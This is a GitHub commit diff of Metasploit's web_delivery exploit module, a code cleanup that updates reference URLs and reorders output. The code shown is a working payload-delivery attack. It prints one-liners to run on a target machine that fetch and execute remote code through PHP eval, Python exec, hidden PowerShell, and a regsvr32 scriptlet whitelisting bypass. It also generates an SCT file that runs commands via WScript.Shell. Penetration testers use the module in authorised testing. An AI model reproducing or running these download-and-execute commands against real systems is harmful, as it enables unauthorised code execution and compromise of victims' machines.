Skip to content

Commit 96f7012

Browse files
committed
Code clean up (URLs, ordering and printing)
1 parent b884705 commit 96f7012

File tree

1 file changed

+32
-31
lines changed

1 file changed

+32
-31
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 32 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -47,11 +47,11 @@ def initialize(info = {})
4747
},
4848
'References' =>
4949
[
50-
['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
51-
['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
50+
['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
51+
['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
5252
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
53-
['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
54-
['URL', 'http://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
53+
['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
54+
['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
5555
],
5656
'Platform' => %w(python php win),
5757
'Targets' =>
@@ -84,39 +84,43 @@ def initialize(info = {})
8484
)
8585
end
8686

87+
88+
def primer
89+
url = get_uri
90+
print_status("Run the following command on the target machine:")
91+
case target.name
92+
when 'PHP'
93+
print_line(%Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{url}'));"))
94+
when 'Python'
95+
print_line(%Q(python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());"))
96+
when 'PSH'
97+
print_line(gen_psh(url))
98+
when 'Regsvr32'
99+
print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll")
100+
end
101+
end
102+
103+
87104
def on_request_uri(cli, _request)
88105
if _request.raw_uri =~ /\.sct$/
89-
print_status("Handling .sct Request")
90106
psh = gen_psh(get_uri)
91107
data = gen_sct_file(psh)
92-
send_response(cli, data, 'Content-Type' => 'text/plain')
93108
elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
94-
print_status("Delivering Payload")
95109
data = cmd_psh_payload(payload.encoded,
96110
payload_instance.arch.first,
97111
remove_comspec: true,
98112
exec_in_place: true
99113
)
100114
else
101-
print_status("Delivering Payload")
102115
data = %Q(#{payload.encoded})
103116
end
104-
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
105-
end
106117

107-
def primer
108-
url = get_uri
109-
print_status('Run the following command on the target machine:')
110-
case target.name
111-
when 'PHP'
112-
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
113-
when 'Python'
114-
print_line('Python:')
115-
print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
116-
when 'PSH'
117-
print_line gen_psh(url)
118-
when 'Regsvr32'
119-
print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll")
118+
if _request.raw_uri =~ /\.sct$/
119+
print_status("Handling .sct Request")
120+
send_response(cli, data, 'Content-Type' => 'text/plain')
121+
else
122+
print_status("Delivering Payload")
123+
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
120124
end
121125
end
122126

@@ -125,13 +129,10 @@ def gen_psh(url)
125129
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
126130
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
127131
download_and_run = "#{ignore_cert}#{download_string}"
128-
print_line generate_psh_command_line(
129-
return generate_psh_command_line(
130-
noprofile: true,
131-
windowstyle: 'hidden',
132-
command: download_and_run
133-
)
134-
end
132+
return generate_psh_command_line(noprofile: true,
133+
windowstyle: 'hidden',
134+
command: download_and_run
135+
)
135136
end
136137

137138

@@ -143,4 +144,4 @@ def rand_class_id
143144
def gen_sct_file(command)
144145
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
145146
end
146-
end
147+
end

0 commit comments

Comments
 (0)